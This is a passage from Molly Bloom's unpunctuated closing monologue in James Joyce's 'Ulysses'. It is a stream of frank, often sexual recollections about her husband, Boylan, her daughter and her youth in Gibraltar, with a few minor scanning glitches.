no not with Boylan there yes +with some cold veal and ham mixed sandwiches there are little houses down +at the bottom of the banks there on purpose but its as hot as blazes he +says not a bank holiday anyhow I hate those ruck of Mary Ann coalboxes +out for the day Whit Monday is a cursed day too no wonder that bee bit +him better the seaside but Id never again in this life get into a boat +with him after him at Bray telling the boatman he knew how to row if +anyone asked could he ride the steeplechase for the gold cup hed say yes +then it came on to get rough the old thing crookeding about and the +weight all down my side telling me pull the right reins now pull the left +and the tide all swamping in floods in through the bottom and his oar +slipping out of the stirrup its a mercy we werent all drowned he can swim +of course me no theres no danger whatsoever keep yourself calm in his +flannel trousers Id like to have tattered them down off him before all +the people and give him what that one calls flagellate till he was black +and blue do him all the good in the world only for that longnosed chap I +dont know who he is with that other beauty Burke out of the City Arms +hotel was there spying around as usual on the slip always where he wasnt +wanted if there was a row on youd vomit a better face there was no love +lost between us thats 1 consolation I wonder what kind is that book he +brought me Sweets of Sin by a gentleman of fashion some other Mr de Kock +I suppose the people gave him that nickname going about with his tube +from one woman to another I couldnt even change my new white shoes all +ruined with the saltwater and the hat I had with that feather all blowy +and tossed on me how annoying and provoking because the smell of the sea +excited me of course the sardines and the bream in Catalan bay round the +back of the rock they were fine all silver in the fishermens baskets old +Luigi near a hundred they said came from Genoa and the tall old chap with +the earrings I dont like a man you have to climb up to to get at I +suppose theyre all dead and rotten long ago besides I dont like being +alone in this big barracks of a place at night I suppose Ill have to put +up with it I never brought a bit of salt in even when we moved in the +confusion musical academy he was going to make on the first floor +drawingroom with a brassplate or Blooms private hotel he suggested go and +ruin himself altogether the way his father did down in Ennis like all the +things he told father he was going to do and me but I saw through him +telling me all the lovely places we could go for the honeymoon Venice by +moonlight with the gondolas and the lake of Como he had a picture cut out +of some paper of and mandolines and lanterns O how nice I said whatever I +liked he was going to do immediately if not sooner will you be my man +will you carry my can he ought to get a leather medal with a putty rim +for all the plans he invents then leaving us here all day youd never know +what old beggar at the door for a crust with his long story might be a +tramp and put his foot in the way to prevent me shutting it like that +picture of that hardened criminal he was called in Lloyds Weekly news 20 +years in jail then he comes out and murders an old woman for her money +imagine his poor wife or mother or whoever she is such a face youd run +miles away from I couldnt rest easy till I bolted all the doors and +windows to make sure but its worse again being locked up like in a prison +or a madhouse they ought to be all shot or the cat of nine tails a big +brute like that that would attack a poor old woman to murder her in her +bed Id cut them off him so I would not that hed be much use still better +than nothing the night I was sure I heard burglars in the kitchen and he +went down in his shirt with a candle and a poker as if he was looking for +a mouse as white as a sheet frightened out of his wits making as much +noise as he possibly could for the burglars benefit there isnt much to +steal indeed the Lord knows still its the feeling especially now with +Milly away such an idea for him to send the girl down there to learn to +take photographs on account of his grandfather instead of sending her to +Skerrys academy where shed have to learn not like me getting all IS at +school only hed do a thing like that all the same on account of me and +Boylan thats why he did it Im certain the way he plots and plans +everything out I couldnt turn round with her in the place lately unless I +bolted the door first gave me the fidgets coming in without knocking +first when I put the chair against the door just as I was washing myself +there below with the glove get on your nerves then doing the loglady all +day put her in a glasscase with two at a time to look at her if he knew +she broke off the hand off that little gimcrack statue with her roughness +and carelessness before she left that I got that little Italian boy to +mend so that you cant see the join for 2 shillings wouldnt even teem the +potatoes for you of course shes right not to ruin her hands I noticed he +was always talking to her lately at the table explaining things in the +paper and she pretending to understand sly of course that comes from his +side of the house he cant say I pretend things can he Im too honest as a +matter of fact and helping her into her coat but if there was anything +wrong with her its me shed tell not him I suppose he thinks Im finished +out and laid on the shelf well Im not no nor anything like it well see +well see now shes well on for flirting too with Tom Devans two sons +imitating me whistling with those romps of Murray girls calling for her +can Milly come out please shes in great demand to pick what they can out +of her round in Nelson street riding Harry Devans bicycle at night its as +well he sent her where she is she was just getting out of bounds wanting +to go on the skatingrink and smoking their cigarettes through their nose +I smelt it off her dress when I was biting off the thread of the button I +sewed on to the bottom of her jacket she couldnt hide much from me I tell +you only I oughtnt to have stitched it and it on her it brings a parting +and the last plumpudding too split in 2 halves see it comes out no matter +what they say her tongue is a bit too long for my taste your blouse is +open too low she says to me the pan calling the kettle blackbottom and I +had to tell her not to cock her legs up like that on show on the +windowsill before all the people passing they all look at her like me +when I was her age of course any old rag looks well on you then a great +touchmenot too in her own way at the Only Way in the Theatre royal take +your foot away out of that I hate people touching me afraid of her life +Id crush her skirt with the pleats a lot of that touching must go on in +theatres in the crush in the dark theyre always trying to wiggle up to +you that fellow in the pit at the Gaiety for Beerbohm Tree in Trilby the +last time Ill ever go there to be squashed like that for any Trilby or +her barebum every two minutes tipping me there and looking away hes a bit +daft I think I saw him after trying to get near two stylishdressed ladies +outside Switzers window at the same little game I recognised him on the +moment the face and everything but he didnt remember me yes and she didnt +even want me to kiss her at the Broadstone going away well I hope shell +get someone to dance attendance on her the way I did when she was down +with the mumps and her glands swollen wheres this and wheres that of +course she cant feel anything deep yet I never came properly till I was +what 22 or so it went into the wrong place always only the usual girls +nonsense and giggling that Conny Connolly writing to her in white ink on +black paper sealed with sealingwax though she clapped when the curtain +came down because he looked so handsome then we had Martin Harvey for +breakfast dinner and supper I thought to myself afterwards it must be +real love if a man gives up his life for her that way for nothing I +suppose there are a few men like that left its hard to believe in it +though unless it really happened to me the majority of them with not a +particle of love in their natures to find two people like that nowadays +full up of each other that would feel the same way as you do theyre +usually a bit foolish in the head his father must have been a bit queer +to go and poison himself after her still poor old man I suppose he felt +lost shes always making love to my things too the few old rags I have +wanting to put her hair up at I S my powder too only ruin her skin on her +shes time enough for that all her life after of course shes restless +knowing shes pretty with her lips so red a pity they wont stay that way I +was too but theres no use going to the fair with the thing answering me +like a fishwoman when I asked to go for a half a stone of potatoes the +day we met Mrs Joe Gallaher at the trottingmatches and she pretended not +to see us in her trap with Friery the solicitor we werent grand enough +till I gave her 2 damn fine cracks across the ear for herself take that +now for answering me like that and that for your impudence she had me +that exasperated of course contradicting I was badtempered too because +how was it there was a weed in the tea or I didnt sleep the night before +cheese I ate was it and I told her over and over again not to leave +knives crossed like that because she has nobody to command her as she +said herself well if he doesnt correct her faith I will that was the last +time she turned on the teartap I was just like that myself they darent +order me about the place its his fault of course having the two of us +slaving here instead of getting in a woman long ago am I ever going to +have a proper servant again of course then shed see him coming Id have to +let her know or shed revenge it arent they a nuisance that old Mrs +Fleming you have to be walking round after her putting the things into +her hands sneezing and farting into the pots well of course shes old she +cant help it a good job I found that rotten old smelly dishcloth that got +lost behind the dresser I knew there was something and opened the area +window to let out the smell bringing in his friends to entertain them +like the night he walked home with a dog if you please that might have +been mad especially Simon Dedalus son his father such a criticiser with +his glasses up with his tall hat on him at the cricket match and a great +big hole in his sock one thing laughing at the other and his son that got +all those prizes for whatever he won them in the intermediate imagine +climbing over the railings if anybody saw him that knew us I wonder he +didnt tear a big hole in his grand funeral trousers as if the one nature +gave wasnt enough for anybody hawking him down into the dirty old kitchen +now is he right in his head I ask pity it wasnt washing day my old pair +of drawers might have been hanging up too on the line on exhibition for +all hed ever care with the ironmould mark the stupid old bundle burned on +them he might think was something else and she never even rendered down +the fat I told her and now shes going such as she was on account of her +paralysed husband getting worse theres always something wrong with them +disease or they have to go under an operation or if its not that its +drink and he beats her Ill have to hunt around again for someone every +day I get up theres some new thing on sweet God sweet God well when Im +stretched out dead in my grave I suppose Ill have some peace I want to +get up a minute if Im let wait O Jesus wait yes that thing has come on me +yes now wouldnt that afflict you of course all the poking and rooting and +ploughing he had up in me now what am I to do Friday Saturday Sunday +wouldnt that pester the soul out of a body unless he likes it some men do +God knows theres always something wrong with us 5 days every 3 or 4 weeks +usual monthly auction isnt it simply sickening that night it came on me +like that the one and only time we were in a box that Michael Gunn gave +him to see Mrs Kendal and her husband at the Gaiety something he did +about insurance for him in Drimmies I was fit to be tied though I wouldnt +give in with that gentleman of fashion staring down at me with his +glasses and him the other side of me talking about Spinoza and his soul +thats dead I suppose millions of years ago I smiled the best I could all +in a swamp leaning forward as if I was interested having to sit it out +then to the last tag I wont forget that wife of Scarli in a hurry +supposed to be a fast play about adultery that idiot in the gallery +hissing the woman adulteress he shouted I suppose he went and had a woman +in the next lane running round all the back ways after to make up for it +I wish he had what I had then hed boo I bet the cat itself is better off +than us have we too much blood up in us or what O patience above its +pouring out of me like the sea anyhow he didnt make me pregnant as big as +he is I dont want to ruin the clean sheets I just put on I suppose the +clean linen I wore brought it on too damn it damn it and they always want +to see a stain on the bed to know youre a virgin for them all thats +troubling them theyre such fools too you could be a widow or divorced 40 +times over a daub of red ink would do or blackberry juice no thats too +purply O Jamesy let me up out of this pooh sweets of sin whoever +suggested that business for women what between clothes and cooking and +children this damned old bed too jingling like the dickens I suppose they +could hear us away over the other side of the park till I suggested to +put the quilt on the floor with the pillow under my bottom I wonder is it +nicer in the day I think it is easy I think Ill cut all this hair off me +there scalding me I might look like a young girl wouldnt he get the great +suckin the next time he turned up my clothes on me Id give anything to +see his face wheres the chamber gone easy Ive a holy horror of its +breaking under me after that old commode I wonder was I too heavy sitting +on his knee I made him sit on the easychair purposely when I took off +only my blouse and skirt first in the other room he was so busy where he +oughtnt to be he never felt me I hope my breath was sweet after those +kissing comfits easy God I remember one time I could scout it out +straight whistling like a man almost easy O Lord how noisy I hope theyre +bubbles on it for a wad of money from some fellow Ill have to perfume it +in the morning dont forget I bet he never saw a better pair of thighs +than that look how white they are the smoothest place is right there +between this bit here how soft like a peach easy God I wouldnt mind being +a man and get up on a lovely woman O Lord what a row youre making like +the jersey lily easy easy O how the waters come down at Lahore + +who knows is there anything the matter with my insides or have I +something growing in me getting that thing like that every week when was +it last I Whit Monday yes its only about 3 weeks I ought to go to the +doctor only it would be like before I married him when I had that white +thing coming from me and Floey made me go to that dry old stick Dr +Collins for womens diseases on Pembroke road your vagina he called it I +suppose thats how he got all the gilt mirrors and carpets getting round +those rich ones off Stephens green running up to him for every little +fiddlefaddle her vagina and her cochinchina theyve money of course so +theyre all right I wouldnt marry him not if he was the last man in the +world besides theres something queer about their children always smelling +around those filthy bitches all sides asking me if what I did had an +offensive odour what did he want me to do but the one thing gold maybe +what a question if I smathered it all over his wrinkly old face for him +with all my compriments I suppose hed know then and could you pass it +easily pass what I thought he was talking about the rock of Gibraltar the +way he put it thats a very nice invention too by the way only I like +letting myself down after in the hole as far as I can squeeze and pull +the chain then to flush it nice cool pins and needles still theres +something in it I suppose I always used to know by Millys when she was a +child whether she had worms or not still all the same paying him for that +how much is that doctor one guinea please and asking me had I frequent +omissions where do those old fellows get all the words they have +omissions with his shortsighted eyes on me cocked sideways I wouldnt +trust him too far to give me chloroform or God knows what else still I +liked him when he sat down to write the thing out frowning so severe his +nose intelligent like that you be damned you lying strap O anything no +matter who except an idiot he was clever enough to spot that of course +that was all thinking of him and his mad crazy letters my Precious one +everything connected with your glorious Body everything underlined that +comes from it is a thing of beauty and of joy for ever something he got +out of some nonsensical book that he had me always at myself 4 and 5 +times a day sometimes and I said I hadnt are you sure O yes I said I am +quite sure in a way that shut him up I knew what was coming next only +natural weakness it was he excited me I dont know how the first night +ever we met when I was living in Rehoboth terrace we stood staring at one +another for about 10 minutes as if we met somewhere I suppose on account +of my being jewess looking after my mother he used to amuse me the things +he said with the half sloothering smile on him and all the Doyles said he +was going to stand for a member of Parliament O wasnt I the born fool to +believe all his blather about home rule and the land league sending me +that long strool of a song out of the Huguenots to sing in French to be +more classy O beau pays de la Touraine that I never even sang once +explaining and rigmaroling about religion and persecution he wont let you +enjoy anything naturally then might he as a great favour the very 1st +opportunity he got a chance in Brighton square running into my bedroom +pretending the ink got on his hands to wash it off with the Albion milk +and sulphur soap I used to use and the gelatine still round it O I +laughed myself sick at him that day I better not make an alnight sitting +on this affair they ought to make chambers a natural size so that a woman +could sit on it properly he kneels down to do it I suppose there isnt in +all creation another man with the habits he has look at the way hes +sleeping at the foot of the bed how can he without a hard bolster its +well he doesnt kick or he might knock out all my teeth breathing with his +hand on his nose like that Indian god he took me to show one wet Sunday +in the museum in Kildare street all yellow in a pinafore lying on his +side on his hand with his ten toes sticking out that he said was a bigger +religion than the jews and Our Lords both put together all over Asia +imitating him as hes always imitating everybody I suppose he used to +sleep at the foot of the bed too with his big square feet up in his wifes +mouth damn this stinking thing anyway wheres this those napkins are ah +yes I know I hope the old press doesnt creak ah I knew it would hes +sleeping hard had a good time somewhere still she must have given him +great value for his money of course he has to pay for it from her O this +nuisance of a thing I hope theyll have something better for us in the +other world tying ourselves up God help us thats all right for tonight +now the lumpy old jingly bed always reminds me of old Cohen I suppose he +scratched himself in it often enough and he thinks father bought it from +Lord Napier that I used to admire when I was a little girl because I told +him easy piano O I like my bed God here we are as bad as ever after 16 +years how many houses were we in at all Raymond terrace and Ontario +terrace and Lombard street and Holles street and he goes about whistling +every time were on the run again his huguenots or the frogs march +pretending to help the men with our 4 sticks of furniture and then the +City Arms hotel worse and worse says Warden Daly that charming place on +the landing always somebody inside praying then leaving all their stinks +after them always know who was in there last every time were just getting +on right something happens or he puts his big foot in it Thoms and Helys +and Mr Cuffes and Drimmies either hes going to be run into prison over +his old lottery tickets that was to be all our salvations or he goes and +gives impudence well have him coming home with the sack soon out of the +Freeman too like the rest on account of those Sinner Fein or the +freemasons then well see if the little man he showed me dribbling along +in the wet all by himself round by Coadys lane will give him much +consolation that he says is so capable and sincerely Irish he is indeed +judging by the sincerity of the trousers I saw on him wait theres Georges +church bells wait 3 quarters the hour l wait 2 oclock well thats a nice +hour of the night for him to be coming home at to anybody climbing down +into the area if anybody saw him Ill knock him off that little habit +tomorrow first Ill look at his shirt to see or Ill see if he has that +French letter still in his pocketbook I suppose he thinks I dont know +deceitful men all their 20 pockets arent enough for their lies then why +should we tell them even if its the truth they dont believe you then +tucked up in bed like those babies in the Aristocrats Masterpiece he +brought me another time as if we hadnt enough of that in real life +without some old Aristocrat or whatever his name is disgusting you more +with those rotten pictures children with two heads and no legs thats the +kind of villainy theyre always dreaming about with not another thing in +their empty heads they ought to get slow poison the half of them then tea +and toast for him buttered on both sides and newlaid eggs I suppose Im +nothing any more when I wouldnt let him lick me in Holles street one +night man man tyrant as ever for the one thing he slept on the floor half +the night naked the way the jews used when somebody dies belonged to them +and wouldnt eat any breakfast or speak a word wanting to be petted so I +thought I stood out enough for one time and let him he does it all wrong +too thinking only of his own pleasure his tongue is too flat or I dont +know what he forgets that wethen I dont Ill make him do it again if he +doesnt mind himself and lock him down to sleep in the coalcellar with the +blackbeetles I wonder was it her Josie off her head with my castoffs hes +such a born liar too no hed never have the courage with a married woman +thats why he wants me and Boylan though as for her Denis as she calls him +that forlornlooking spectacle you couldnt call him a husband yes its some +little bitch hes got in with even when I was with him with Milly at the +College races that Hornblower with the childs bonnet on the top of his +nob let us into by the back way he was throwing his sheeps eyes at those +two doing skirt duty up and down I tried to wink at him first no use of +course and thats the way his money goes this is the fruits of Mr Paddy +Dignam yes they were all in great style at the grand funeral in the paper +Boylan brought in if they saw a real officers funeral thatd be something +reversed arms muffled drums the poor horse walking behind in black L Boom +and Tom Kernan that drunken little barrelly man that bit his tongue off +falling down the mens W C drunk in some place or other and Martin +Cunningham and the two Dedaluses and Fanny MCoys husband white head of +cabbage skinny thing with a turn in her eye trying to sing my songs shed +want to be born all over again and her old green dress with the lowneck +as she cant attract them any other way like dabbling on a rainy day I see +it all now plainly and they call that friendship killing and then burying +one another and they all with their wives and families at home more +especially Jack Power keeping that barmaid he does of course his wife is +always sick or going to be sick or just getting better of it and hes a +goodlooking man still though hes getting a bit grey over the ears theyre +a nice lot all of them well theyre not going to get my husband again into +their clutches if I can help it making fun of him then behind his back I +know well when he goes on with his idiotics because he has sense enough +not to squander every penny piece he earns down their gullets and looks +after his wife and family goodfornothings poor Paddy Dignam all the same +Im sorry in a way for him what are his wife and 5 children going to do +unless he was insured comical little teetotum always stuck up in some pub +corner and her or her son waiting Bill Bailey wont you please come home +her widows weeds wont improve her appearance theyre awfully becoming +though if youre goodlooking what men wasnt he yes he was at the Glencree +dinner and Ben Dollard base barreltone the night he borrowed the +swallowtail to sing out of in Holles street squeezed and squashed into +them and grinning all over his big Dolly face like a wellwhipped childs +botty didnt he look a balmy ballocks sure enough that must have been a +spectacle on the stage imagine paying 5/- in the preserved seats for that +to see him trotting off in his trowlers and Simon Dedalus too he was +always turning up half screwed singing the second verse first the old +love is the new was one of his so sweetly sang the maiden on the hawthorn +bough he was always on for flirtyfying too when I sang Maritana with him +at Freddy Mayers private opera he had a delicious glorious voice Phoebe +dearest goodbye sweetheart SWEETheart he always sang it not like Bartell +Darcy sweet tart goodbye of course he had the gift of the voice so there +was no art in it all over you like a warm showerbath O Maritana wildwood +flower we sang splendidly though it was a bit too high for my register +even transposed and he was married at the time to May Goulding but then +hed say or do something to knock the good out of it hes a widower now I +wonder what sort is his son he says hes an author and going to be a +university professor of Italian and Im to take lessons what is he driving +at now showing him my photo its not good of me I ought to have got it +taken in drapery that never looks out of fashion still I look young in it +I wonder he didnt make him a present of it altogether and me too after +all why not I saw him driving down to the Kingsbridge station with his +father and mother I was in mourning thats 11 years ago now yes hed be 11 +though what was the good in going into mourning for what was neither one +thing nor the other the first cry was enough for me I heard the +deathwatch too ticking in the wall of course he insisted hed go into +mourning for the cat I suppose hes a man now by this time he was an +innocent boy then and a darling little fellow in his lord Fauntleroy suit +and curly hair like a prince on the stage when I saw him at Mat Dillons +he liked me too I remember they all do wait by God yes wait yes hold on +he was on the cards this morning when I laid out the deck union with a +young stranger neither dark nor fair you met before I thought it meant +him but hes no chicken nor a stranger either besides my face was turned +the other way what was the 7th card after that the 10 of spades for a +journey by land then there was a letter on its way and scandals too the 3 +queens and the 8 of diamonds for a rise in society yes wait it all came +out and 2 red 8s for new garments look at that and didnt I dream +something too yes there was something about poetry in it I hope he hasnt +long greasy hair hanging into his eyes or standing up like a red Indian +what do they go about like that for only getting themselves and their +poetry laughed at I always liked poetry when I was a girl first I thought +he was a poet like lord Byron and not an ounce of it in his composition I +thought he was quite different I wonder is he too young hes about wait 88 +I was married 88 Milly is 15 yesterday 89 what age was he then at Dillons +5 or 6 about 88 I suppose hes 20 or more Im not too old for him if hes 23 +or 24 I hope hes not that stuckup university student sort no otherwise he +wouldnt go sitting down in the old kitchen with him taking Eppss cocoa +and talking of course he pretended to understand it all probably he told +him he was out of Trinity college hes very young to be a professor I hope +hes not a professor like Goodwin was he was a potent professor of John +Jameson they all write about some woman in their poetry well I suppose he +wont find many like me where softly sighs of love the light guitar where +poetry is in the air the blue sea and the moon shining so beautifully +coming back on the nightboat from Tarifa the lighthouse at Europa point +the guitar that fellow played was so expressive will I ever go back there +again all new faces two glancing eyes a lattice hid Ill sing that for him +theyre my eyes if hes anything of a poet two eyes as darkly bright as +loves own star arent those beautiful words as loves young star itll be a +change the Lord knows to have an intelligent person to talk to about +yourself not always listening to him and Billy Prescotts ad and Keyess ad +and Tom the Devils ad then if anything goes wrong in their business we +have to suffer Im sure hes very distinguished Id like to meet a man like +that God not those other ruck besides hes young those fine young men I +could see down in Margate strand bathingplace from the side of the rock +standing up in the sun naked like a God or something and then plunging +into the sea with them why arent all men like that thered be some +consolation for a woman like that lovely little statue he bought I could +look at him all day long curly head and his shoulders his finger up for +you to listen theres real beauty and poetry for you I often felt I wanted +to kiss him all over also his lovely young cock there so simple I wouldnt +mind taking him in my mouth if nobody was looking as if it was asking you +to suck it so clean and white he looks with his boyish face I would too +in 1/2 a minute even if some of it went down what its only like gruel or +the dew theres no danger besides hed be so clean compared with those pigs +of men I suppose never dream of washing it from I years end to the other +the most of them only thats what gives the women the moustaches Im sure +itll be grand if I can only get in with a handsome young poet at my age +Ill throw them the 1st thing in the morning till I see if the wishcard +comes out or Ill try pairing the lady herself and see if he comes out Ill +read and study all I can find or learn a bit off by heart if I knew who +he likes so he wont think me stupid if he thinks all women are the same +and I can teach him the other part Ill make him feel all over him till he +half faints under me then hell write about me lover and mistress publicly +too with our 2 photographs in all the papers when he becomes famous O but +then what am I going to do about him though + +no thats no way for him has he no manners nor no refinement nor no +nothing in his nature slapping us behind like that on my bottom because I +didnt call him Hugh the ignoramus that doesnt know poetry from a cabbage +thats what you get for not keeping them in their proper place pulling off +his shoes and trousers there on the chair before me so barefaced without +even asking permission and standing out that vulgar way in the half of a +shirt they wear to be admired like a priest or a butcher or those old +hypocrites in the time of Julius Caesar of course hes right enough in his +way to pass the time as a joke sure you might as well be in bed with what +with a lion God Im sure hed have something better to say for himself an +old Lion would O well I suppose its because they were so plump and +tempting in my short petticoat he couldnt resist they excite myself +sometimes its well for men all the amount of pleasure they get off a +womans body were so round and white for them always I wished I was one +myself for a change just to try with that thing they have swelling up on +you so hard and at the same time so soft when you touch it my uncle John +has a thing long I heard those cornerboys saying passing the comer of +Marrowbone lane my aunt Mary has a thing hairy because it was dark and +they knew a girl was passing it didnt make me blush why should it either +its only nature and he puts his thing long into my aunt Marys hairy +etcetera and turns out to be you put the handle in a sweepingbrush men +again all over they can pick and choose what they please a married woman +or a fast widow or a girl for their different tastes like those houses +round behind Irish street no but were to be always chained up theyre not +going to be chaining me up no damn fear once I start I tell you for their +stupid husbands jealousy why cant we all remain friends over it instead +of quarrelling her husband found it out what they did together well +naturally and if he did can he undo it hes coronado anyway whatever he +does and then he going to the other mad extreme about the wife in Fair +Tyrants of course the man never even casts a 2nd thought on the husband +or wife either its the woman he wants and he gets her what else were we +given all those desires for Id like to know I cant help it if Im young +still can I its a wonder Im not an old shrivelled hag before my time +living with him so cold never embracing me except sometimes when hes +asleep the wrong end of me not knowing I suppose who he has any man thatd +kiss a womans bottom Id throw my hat at him after that hed kiss anything +unnatural where we havent I atom of any kind of expression in us all of +us the same 2 lumps of lard before ever Id do that to a man pfooh the +dirty brutes the mere thought is enough I kiss the feet of you senorita +theres some sense in that didnt he kiss our halldoor yes he did what a +madman nobody understands his cracked ideas but me still of course a +woman wants to be embraced 20 times a day almost to make her look young +no matter by who so long as to be in love or loved by somebody if the +fellow you want isnt there sometimes by the Lord God I was thinking would +I go around by the quays there some dark evening where nobodyd know me +and pick up a sailor off the sea thatd be hot on for it and not care a +pin whose I was only do it off up in a gate somewhere or one of those +wildlooking gipsies in Rathfarnham had their camp pitched near the +Bloomfield laundry to try and steal our things if they could I only sent +mine there a few times for the name model laundry sending me back over +and over some old ones odd stockings that blackguardlooking fellow with +the fine eyes peeling a switch attack me in the dark and ride me up +against the wall without a word or a murderer anybody what they do +themselves the fine gentlemen in their silk hats that K C lives up +somewhere this way coming out of Hardwicke lane the night he gave us the +fish supper on account of winning over the boxing match of course it was +for me he gave it I knew him by his gaiters and the walk and when I +turned round a minute after just to see there was a woman after coming +out of it too some filthy prostitute then he goes home to his wife after +that only I suppose the half of those sailors are rotten again with +disease O move over your big carcass out of that for the love of Mike +listen to him the winds that waft my sighs to thee so well he may sleep +and sigh the great Suggester Don Poldo de la Flora if he knew how he came +out on the cards this morning hed have something to sigh for a dark man +in some perplexity between 2 7s too in prison for Lord knows what he does +that I dont know and Im to be slooching around down in the kitchen to get +his lordship his breakfast while hes rolled up like a mummy will I indeed +did you ever see me running Id just like to see myself at it show them +attention and they treat you like dirt I dont care what anybody says itd +be much better for the world to be governed by the women in it you +wouldnt see women going and killing one another and slaughtering when do +you ever see women rolling around drunk like they do or gambling every +penny they have and losing it on horses yes because a woman whatever she +does she knows where to stop sure they wouldnt be in the world at all +only for us they dont know what it is to be a woman and a mother how +could they where would they all of them be if they hadnt all a mother to +look after them what I never had thats why I suppose hes running wild now +out at night away from his books and studies and not living at home on +account of the usual rowy house I suppose well its a poor case that those +that have a fine son like that theyre not satisfied and I none was he not +able to make one it wasnt my fault we came together when I was watching +the two dogs up in her behind in the middle of the naked street that +disheartened me altogether I suppose I oughtnt to have buried him in that +little woolly jacket I knitted crying as I was but give it to some poor +child but I knew well Id never have another our 1st death too it was we +were never the same since O Im not going to think myself into the glooms +about that any more I wonder why he wouldnt stay the night I felt all the +time it was somebody strange he brought in instead of roving around the +city meeting God knows who nightwalkers and pickpockets his poor mother +wouldnt like that if she was alive ruining himself for life perhaps still +its a lovely hour so silent I used to love coming home after dances the +air of the night they have friends they can talk to weve none either he +wants what he wont get or its some woman ready to stick her knife in you +I hate that in women no wonder they treat us the way they do we are a +dreadful lot of bitches I suppose its all the troubles we have makes us +so snappy Im not like that he could easy have slept in there on the sofa +in the other room I suppose he was as shy as a boy he being so young +hardly 20 of me in the next room hed have heard me on the chamber arrah +what harm Dedalus I wonder its like those names in Gibraltar Delapaz +Delagracia they had the devils queer names there father Vilaplana of +Santa Maria that gave me the rosary Rosales y OReilly in the Calle las +Siete Revueltas and Pisimbo and Mrs Opisso in Governor street O what a +name Id go and drown myself in the first river if I had a name like her O +my and all the bits of streets Paradise ramp and Bedlam ramp and Rodgers +ramp and Crutchetts ramp and the devils gap steps well small blame to me +if I am a harumscarum I know I am a bit I declare to God I dont feel a +day older than then I wonder could I get my tongue round any of the +Spanish como esta usted muy bien gracias y usted see I havent forgotten +it all I thought I had only for the grammar a noun is the name of any +person place or thing pity I never tried to read that novel cantankerous +Mrs Rubio lent me by Valera with the questions in it all upside down the +two ways I always knew wed go away in the end I can tell him the Spanish +and he tell me the Italian then hell see Im not so ignorant what a pity +he didnt stay Im sure the poor fellow was dead tired and wanted a good +sleep badly I could have brought him in his breakfast in bed with a bit +of toast so long as I didnt do it on the knife for bad luck or if the +woman was going her rounds with the watercress and something nice and +tasty there are a few olives in the kitchen he might like I never could +bear the look of them in Abrines I could do the criada the room looks all +right since I changed it the other way you see something was telling me +all the time Id have to introduce myself not knowing me from Adam very +funny wouldnt it Im his wife or pretend we were in Spain with him half +awake without a Gods notion where he is dos huevos estrellados senor Lord +the cracked things come into my head sometimes itd be great fun supposing +he stayed with us why not theres the room upstairs empty and Millys bed +in the back room he could do his writing and studies at the table in +there for all the scribbling he does at it and if he wants to read in bed +in the morning like me as hes making the breakfast for I he can make it +for 2 Im sure Im not going to take in lodgers off the street for him if +he takes a gesabo of a house like this Id love to have a long talk with +an intelligent welleducated person Id have to get a nice pair of red +slippers like those Turks with the fez used to sell or yellow and a nice +semitransparent morning gown that I badly want or a peachblossom dressing +jacket like the one long ago in Walpoles only 8/6 or 18/6 Ill just give +him one more chance Ill get up early in the morning Im sick of Cohens old +bed in any case I might go over to the markets to see all the vegetables +and cabbages and tomatoes and carrots and all kinds of splendid fruits +all coming in lovely and fresh who knows whod be the 1st man Id meet +theyre out looking for it in the morning Mamy Dillon used to say they are +and the night too that was her massgoing Id love a big juicy pear now to +melt in your mouth like when I used to be in the longing way then Ill +throw him up his eggs and tea in the moustachecup she gave him to make +his mouth bigger I suppose hed like my nice cream too I know what Ill do +Ill go about rather gay not too much singing a bit now and then mi fa +pieta Masetto then Ill start dressing myself to go out presto non son piu +forte Ill put on my best shift and drawers let him have a good eyeful out +of that to make his micky stand for him Ill let him know if thats what he +wanted that his wife is I s l o fucked yes and damn well fucked too up to +my neck nearly not by him 5 or 6 times handrunning theres the mark of his +spunk on the clean sheet I wouldnt bother to even iron it out that ought +to satisfy him if you dont believe me feel my belly unless I made him +stand there and put him into me Ive a mind to tell him every scrap and +make him do it out in front of me serve him right its all his own fault +if I am an adulteress as the thing in the gallery said O much about it if +thats all the harm ever we did in this vale of tears God knows its not +much doesnt everybody only they hide it I suppose thats what a woman is +supposed to be there for or He wouldnt have made us the way He did so +attractive to men then if he wants to kiss my bottom Ill drag open my +drawers and bulge it right out in his face as large as life he can stick +his tongue 7 miles up my hole as hes there my brown part then Ill tell +him I want LI or perhaps 30/- Ill tell him I want to buy underclothes +then if he gives me that well he wont be too bad I dont want to soak it +all out of him like other women do I could often have written out a fine +cheque for myself and write his name on it for a couple of pounds a few +times he forgot to lock it up besides he wont spend it Ill let him do it +off on me behind provided he doesnt smear all my good drawers O I suppose +that cant be helped Ill do the indifferent l or 2 questions Ill know by +the answers when hes like that he cant keep a thing back I know every +turn in him Ill tighten my bottom well and let out a few smutty words +smellrump or lick my shit or the first mad thing comes into my head then +Ill suggest about yes O wait now sonny my turn is coming Ill be quite gay +and friendly over it O but I was forgetting this bloody pest of a thing +pfooh you wouldnt know which to laugh or cry were such a mixture of plum +and apple no Ill have to wear the old things so much the better itll be +more pointed hell never know whether he did it or not there thats good +enough for you any old thing at all then Ill wipe him off me just like a +business his omission then Ill go out Ill have him eying up at the +ceiling where is she gone now make him want me thats the only way a +quarter after what an unearthly hour I suppose theyre just getting up in +China now combing out their pigtails for the day well soon have the nuns +ringing the angelus theyve nobody coming in to spoil their sleep except +an odd priest or two for his night office or the alarmclock next door at +cockshout clattering the brains out of itself let me see if I can doze +off 1 2 3 4 5 what kind of flowers are those they invented like the stars +the wallpaper in Lombard street was much nicer the apron he gave me was +like that something only I only wore it twice better lower this lamp and +try again so as I can get up early Ill go to Lambes there beside +Findlaters and get them to send us some flowers to put about the place in +case he brings him home tomorrow today I mean no no Fridays an unlucky +day first I want to do the place up someway the dust grows in it I think +while Im asleep then we can have music and cigarettes I can accompany him +first I must clean the keys of the piano with milk whatll I wear shall I +wear a white rose or those fairy cakes in Liptons I love the smell of a +rich big shop at 7 1/2d a lb or the other ones with the cherries in them +and the pinky sugar 11d a couple of lbs of those a nice plant for the +middle of the table Id get that cheaper in wait wheres this I saw them +not long ago I love flowers Id love to have the whole place swimming in +roses God of heaven theres nothing like nature the wild mountains then +the sea and the waves rushing then the beautiful country with the fields +of oats and wheat and all kinds of things and all the fine cattle going +about that would do your heart good to see rivers and lakes and flowers +all sorts of shapes and smells and colours springing up even out of the +ditches primroses and violets nature it is as for them saying theres no +God I wouldnt give a snap of my two fingers for all their learning why +dont they go and create something I often asked him atheists or whatever +they call themselves go and wash the cobbles off themselves first then +they go howling for the priest and they dying and why why because theyre +afraid of hell on account of their bad conscience ah yes I know them well +who was the first person in the universe before there was anybody that +made it all who ah that they dont know neither do I so there you are they +might as well try to stop the sun from rising tomorrow the 